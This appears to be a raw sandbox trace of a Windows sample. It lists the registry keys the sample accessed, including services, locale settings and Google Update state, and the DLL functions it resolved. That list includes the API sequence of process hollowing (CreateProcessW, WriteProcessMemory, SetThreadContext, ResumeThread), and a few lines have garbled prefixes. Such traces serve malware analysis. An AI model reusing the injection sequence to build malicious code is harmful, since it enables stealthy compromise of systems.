HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\CryptSvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\BFE\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\p2pimsvc\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\EventSystem\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\AudioEndpointBuilder\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\FDResPub\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\PolicyAgent\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\Start
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\ErrorControl
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\Tag
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\DependOnService
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\DependOnGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\Group
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\gupdate\Environment
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GoogleUpdate.exe\DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}\pv
HKEY_USERS\.DEFAULT\Control Panel\International\LocaleName
HKEY_USERS\.DEFAULT\Control Panel\International\sCountry
HKEY_USERS\.DEFAULT\Control Panel\International\sList
HKEY_USERS\.DEFAULT\Control Panel\International\sDecimal
HKEY_USERS\.DEFAULT\Control Panel\International\sThousand
HKEY_USERS\.DEFAULT\Control Panel\International\sGrouping
HKEY_USERS\.DEFAULT\Control Panel\International\sNativeDigits
HKEY_USERS\.DEFAULT\Control Panel\International\sCurrency
HKEY_USERS\.DEFAULT\Control Panel\International\sMonDecimalSep
HKEY_USERS\.DEFAULT\Control Panel\International\sMonThousandSep
HKEY_USERS\.DEFAULT\Control Panel\International\sMonGrouping
HKEY_USERS\.DEFAULT\Control Panel\International\sPositiveSign
HKEY_USERS\.DEFAULT\Control Panel\International\sNegativeSign
HKEY_USERS\.DEFAULT\Control Panel\International\sTimeFormat
HKEY_USERS\.DEFAULT\Control Panel\International\sShortTime
HKEY_USERS\.DEFAULT\Control Panel\International\s1159
HKEY_USERS\.DEFAULT\Control Panel\International\s2359
HKEY_USERS\.DEFAULT\Control Panel\International\sShortDate
HKEY_USERS\.DEFAULT\Control Panel\International\sYearMonth
HKEY_USERS\.DEFAULT\Control Panel\International\sLongDate
HKEY_USERS\.DEFAULT\Control Panel\International\iCountry
HKEY_USERS\.DEFAULT\Control Panel\International\iMeasure
HKEY_USERS\.DEFAULT\Control Panel\International\iPaperSize
HKEY_USERS\.DEFAULT\Control Panel\International\iDigits
HKEY_USERS\.DEFAULT\Control Panel\International\iLZero
HKEY_USERS\.DEFAULT\Control Panel\International\iNegNumber
HKEY_USERS\.DEFAULT\Control Panel\International\NumShape
HKEY_USERS\.DEFAULT\Control Panel\International\iCurrDigits
HKEY_USERS\.DEFAULT\Control Panel\International\iCurrency
HKEY_USERS\.DEFAULT\Control Panel\International\iNegCurr
HKEY_USERS\.DEFAULT\Control Panel\International\iCalendarType
HKEY_USERS\.DEFAULT\Control Panel\International\iFirstDayOfWeek
HKEY_USERS\.DEFAULT\Control Panel\International\iFirstWeekOfYear
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\OemInstallTime
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\usagestats
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96}\usagestats
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\eulaaccepted
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\gupdate_service_name
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\GoogleUpdate.exe\AppId
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\MaxSxSHashCount
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\InProcServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\InProcServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E9957D25-7EB7-42C8-AD32-06AF7776A788}\InProcServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00020400-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}\RegistrationUpdateHook
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\RegistrationUpdateHook
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\eulaaccepted
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}\lang
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{430FD4D0-B729-4F61-AA34-91526481799D}\name
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\dr
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\lang
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\ap
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\tttoken
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\iid
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\brand
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\client
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\ActivePingDayStartSec
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\RollCallDayStartSec
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\InstallTime
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\DayOfLastActivity
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\DayOfLastRollCall
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\DayOfInstall
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\ping_freshness
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\eulaaccepted
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\pv
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\lang
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\Clients\{8A69D345-D564-463c-AFF1-A69D9E530F96}\name
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}\dr
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\dr
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\lang
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\ap
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\tttoken
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\iid
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\brand
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\client
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\ActivePingDayStartSec
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\RollCallDayStartSec
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\InstallTime
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\DayOfLastActivity
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\DayOfLastRollCall
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\DayOfInstall
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\ping_freshness
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\oeminstall
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\oeminstall
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\experiment_labels
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\experiment_labels
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96}\experiment_labels
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\old-uid
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\uid-create-time
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\uid-num-rotations
\xd000|EY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecision
\xcf10|EY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecisionTime
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadExpirationDays
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Clients\StartMenuInternet\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings
\xcf10|EY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings
HKEY_USERS\S-1-5-21-479431668-4257340731-3059248302-1002\Software\Google\Update\proxy\source
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\LastServiceStart
HKEY_LOCAL_MACHINE\Software\Microsoft\Wbem\Transports\Decoupled\Server
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\CreationTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\MarshaledProxy
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\Transports\Decoupled\Server\ProcessIdentifier
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\ConfigValueEssNeedsLoading
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\CIMOM\List of event-active namespaces
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ESS\//./root/CIMV2\SCM Event Provider
HKEY_LOCAL_MACHINE\Software\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\CurrentState\StateValue
HKEY_LOCAL_MACHINE\Software\Google\Update\PersistedPings\{DE0C8FD0-44C9-4980-BC1B-5CFF38F84875}
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\PersistedPings\{DE0C8FD0-44C9-4980-BC1B-5CFF38F84875}\PersistedPingString
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\PersistedPings\{DE0C8FD0-44C9-4980-BC1B-5CFF38F84875}\PersistedPingTime
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\pv
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\pv
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\uid
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\old-uid
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{430FD4D0-B729-4F61-AA34-91526481799D}\InstallerProgress
HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientState\{8A69D345-D564-463C-AFF1-A69D9E530F96}\InstallerProgress
advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
kernel32.dll.FlsAlloc
kernel32.dll.FlsFree
kernel32.dll.FlsGetValue
kernel32.dll.FlsSetValue
kernel32.dll.InitializeCriticalSectionEx
kernel32.dll.CreateEventExW
kernel32.dll.CreateSemaphoreExW
kernel32.dll.SetThreadStackGuarantee
kernel32.dll.CreateThreadpoolTimer
kernel32.dll.SetThreadpoolTimer
kernel32.dll.WaitForThreadpoolTimerCallbacks
kernel32.dll.CloseThreadpoolTimer
kernel32.dll.CreateThreadpoolWait
kernel32.dll.SetThreadpoolWait
kernel32.dll.CloseThreadpoolWait
kernel32.dll.FlushProcessWriteBuffers
kernel32.dll.FreeLibraryWhenCallbackReturns
kernel32.dll.GetCurrentProcessorNumber
kernel32.dll.GetLogicalProcessorInformation
kernel32.dll.CreateSymbolicLinkW
kernel32.dll.SetDefaultDllDirectories
kernel32.dll.EnumSystemLocalesEx
kernel32.dll.CompareStringEx
kernel32.dll.GetDateFormatEx
kernel32.dll.GetLocaleInfoEx
kernel32.dll.GetTimeFormatEx
kernel32.dll.GetUserDefaultLocaleName
kernel32.dll.IsValidLocaleName
kernel32.dll.LCMapStringEx
kernel32.dll.GetTickCount64
kernel32.dll.AcquireSRWLockExclusive
kernel32.dll.ReleaseSRWLockExclusive
advapi32.dll.EventRegister
advapi32.dll.EventSetInformation
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll._CorExeMain
shlwapi.dll.UrlIsW
version.dll.GetFileVersionInfoSizeW
version.dll.GetFileVersionInfoW
version.dll.VerQueryValueW
clr.dll.SetRuntimeInfo
user32.dll.GetProcessWindowStation
user32.dll.GetUserObjectInformationW
clr.dll._CorExeMain
mscoree.dll.CreateConfigStream
mscoreei.dll.CreateConfigStream
kernel32.dll.GetNumaHighestNodeNumber
kernel32.dll.GetSystemWindowsDirectoryW
advapi32.dll.AllocateAndInitializeSid
advapi32.dll.OpenProcessToken
advapi32.dll.GetTokenInformation
advapi32.dll.InitializeAcl
advapi32.dll.AddAccessAllowedAce
advapi32.dll.FreeSid
kernel32.dll.AddSIDToBoundaryDescriptor
kernel32.dll.CreateBoundaryDescriptorW
kernel32.dll.CreatePrivateNamespaceW
kernel32.dll.OpenPrivateNamespaceW
kernel32.dll.DeleteBoundaryDescriptor
kernel32.dll.WerRegisterRuntimeExceptionModule
kernel32.dll.RaiseException
mscoree.dll.#24
mscoreei.dll.#24
ntdll.dll.NtSetSystemInformation
kernel32.dll.AddDllDirectory
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
ole32.dll.CoInitializeEx
cryptbase.dll.SystemFunction036
ole32.dll.CoGetContextToken
clrjit.dll.sxsJitStartup
clrjit.dll.getJit
kernel32.dll.LocaleNameToLCID
kernel32.dll.LCIDToLocaleName
kernel32.dll.GetUserPreferredUILanguages
kernel32.dll.GetFullPathNameW
uxtheme.dll.IsAppThemed
kernel32.dll.CreateActCtxA
ole32.dll.CoTaskMemAlloc
ole32.dll.CoTaskMemFree
user32.dll.RegisterWindowMessageW
ole32.dll.CoCreateGuid
mscoree.dll.GetProcessExecutableHeap
mscoreei.dll.GetProcessExecutableHeap
kernel32.dll.CompareStringOrdinal
kernel32.dll.SetThreadErrorMode
kernel32.dll.GetFileAttributesExW
kernel32.dll.ResolveLocaleName
gdiplus.dll.GdiplusStartup
kernel32.dll.IsProcessorFeaturePresent
user32.dll.GetWindowInfo
user32.dll.GetAncestor
user32.dll.GetMonitorInfoA
user32.dll.EnumDisplayMonitors
user32.dll.EnumDisplayDevicesA
gdi32.dll.ExtTextOutW
gdi32.dll.GdiIsMetaPrintDC
gdiplus.dll.GdipLoadImageFromStream
windowscodecs.dll.DllGetClassObject
gdiplus.dll.GdipImageForceValidation
gdiplus.dll.GdipGetImageType
gdiplus.dll.GdipGetImageRawFormat
gdiplus.dll.GdipGetImageWidth
gdiplus.dll.GdipGetImageHeight
gdiplus.dll.GdipBitmapGetPixel
nlssorting.dll.SortGetHandle
nlssorting.dll.SortCloseHandle
kernel32.dll.CreateProcessW
kernel32.dll.GetThreadContext
kernel32.dll.ReadProcessMemory
kernel32.dll.VirtualAllocEx
kernel32.dll.WriteProcessMemory
kernel32.dll.SetThreadContext
kernel32.dll.ResumeThread
ole32.dll.CoWaitForMultipleHandles
advapi32.dll.EventUnregister
sechost.dll.LookupAccountNameLocalW
gdiplus.dll.GdipDisposeImage
advapi32.dll.LookupAccountSidW
sechost.dll.LookupAccountSidLocalW
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
ole32.dll.NdrOleInitializeExtension
ole32.dll.CoGetClassObject
ole32.dll.CoGetMarshalSizeMax
ole32.dll.CoMarshalInterface
ole32.dll.CoUnmarshalInterface
ole32.dll.StringFromIID
ole32.dll.CoGetPSClsid
ole32.dll.CoCreateInstance
ole32.dll.CoReleaseMarshalData
ole32.dll.DcomChannelSetHResult
rpcrtremote.dll.I_RpcExtInitializeExtensionPoint
kernel32.dll.CreateActCtxW
kernel32.dll.AddRefActCtx
kernel32.dll.ReleaseActCtx
kernel32.dll.ActivateActCtx
kernel32.dll.DeactivateActCtx
kernel32.dll.GetCurrentActCtx
kernel32.dll.QueryActCtxW
cryptsp.dll.CryptReleaseContext
advapi32.dll.ConvertSidToStringSidW
shell32.dll.SHGetFolderPathW
bcrypt.dll.BCryptGetFipsAlgorithmMode
kernel32.dll.GetModuleHandleW
kernel32.dll.GetProcAddress
kernel32.dll.WideCharToMultiByte
user32.dll.DefWindowProcW
gdi32.dll.GetStockObject
user32.dll.RegisterClassW
user32.dll.CreateWindowExW
user32.dll.SetWindowLongW
user32.dll.GetWindowLongW
kernel32.dll.GetCurrentProcess
kernel32.dll.GetCurrentThread
kernel32.dll.DuplicateHandle
kernel32.dll.GetCurrentThreadId
user32.dll.CallWindowProcW
kernel32.dll.GetCurrentProcessId
advapi32.dll.LookupPrivilegeValueW
advapi32.dll.AdjustTokenPrivileges
kernel32.dll.CloseHandle
ntdll.dll.NtQuerySystemInformation
cryptsp.dll.CryptGetDefaultProviderW
cryptsp.dll.CryptCreateHash
ole32.dll.CreateBindCtx
ole32.dll.CoGetObjectContext
ole32.dll.MkParseDisplayName
kernel32.dll.GetThreadPreferredUILanguages
kernel32.dll.SetThreadPreferredUILanguages
kernel32.dll.GetSystemDefaultLocaleName
fastprox.dll.DllGetClassObject
fastprox.dll.DllCanUnloadNow
ole32.dll.BindMoniker
sxs.dll.SxsOleAut32RedirectTypeLibrary
advapi32.dll.RegOpenKeyW
advapi32.dll.RegEnumKeyW
advapi32.dll.RegQueryValueW
sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid
sxs.dll.SxsLookupClrGuid
oleaut32.dll.#9
oleaut32.dll.#4
mscoreei.dll._CorDllMain
mscoree.dll.GetTokenForVTableEntry
mscoree.dll.SetTargetForVTableEntry
mscoree.dll.GetTargetForVTableEntry
mscoreei.dll.GetTokenForVTableEntry
mscoreei.dll.SetTargetForVTableEntry
mscoreei.dll.GetTargetForVTableEntry
kernel32.dll.GetLastError
kernel32.dll.LocalAlloc
kernel32.dll.CreateEventW
kernel32.dll.SetEvent
ole32.dll.IIDFromString
kernel32.dll.LoadLibraryA
wminet_utils.dll.ResetSecurity
wminet_utils.dll.SetSecurity
wminet_utils.dll.BlessIWbemServices
wminet_utils.dll.BlessIWbemServicesObject
wminet_utils.dll.GetPropertyHandle
wminet_utils.dll.WritePropertyValue
wminet_utils.dll.Clone
wminet_utils.dll.VerifyClientKey
wminet_utils.dll.GetQualifierSet
wminet_utils.dll.Get
wminet_utils.dll.Put
wminet_utils.dll.Delete
wminet_utils.dll.GetNames
wminet_utils.dll.BeginEnumeration
wminet_utils.dll.Next
wminet_utils.dll.EndEnumeration
wminet_utils.dll.GetPropertyQualifierSet
wminet_utils.dll.GetObjectText
wminet_utils.dll.SpawnDerivedClass
wminet_utils.dll.SpawnInstance
wminet_utils.dll.CompareTo
wminet_utils.dll.GetPropertyOrigin
wminet_utils.dll.InheritsFrom
wminet_utils.dll.GetMethod
wminet_utils.dll.PutMethod
wminet_utils.dll.DeleteMethod
wminet_utils.dll.BeginMethodEnumeration
wminet_utils.dll.NextMethod
wminet_utils.dll.EndMethodEnumeration
wminet_utils.dll.GetMethodQualifierSet
wminet_utils.dll.GetMethodOrigin
wminet_utils.dll.QualifierSet_Get
wminet_utils.dll.QualifierSet_Put
wminet_utils.dll.QualifierSet_Delete
wminet_utils.dll.QualifierSet_GetNames
wminet_utils.dll.QualifierSet_BeginEnumeration
wminet_utils.dll.QualifierSet_Next
wminet_utils.dll.QualifierSet_EndEnumeration
wminet_utils.dll.GetCurrentApartmentType
wminet_utils.dll.GetDemultiplexedStub
wminet_utils.dll.CreateInstanceEnumWmi
wminet_utils.dll.CreateClassEnumWmi
wminet_utils.dll.ExecQueryWmi
wminet_utils.dll.ExecNotificationQueryWmi
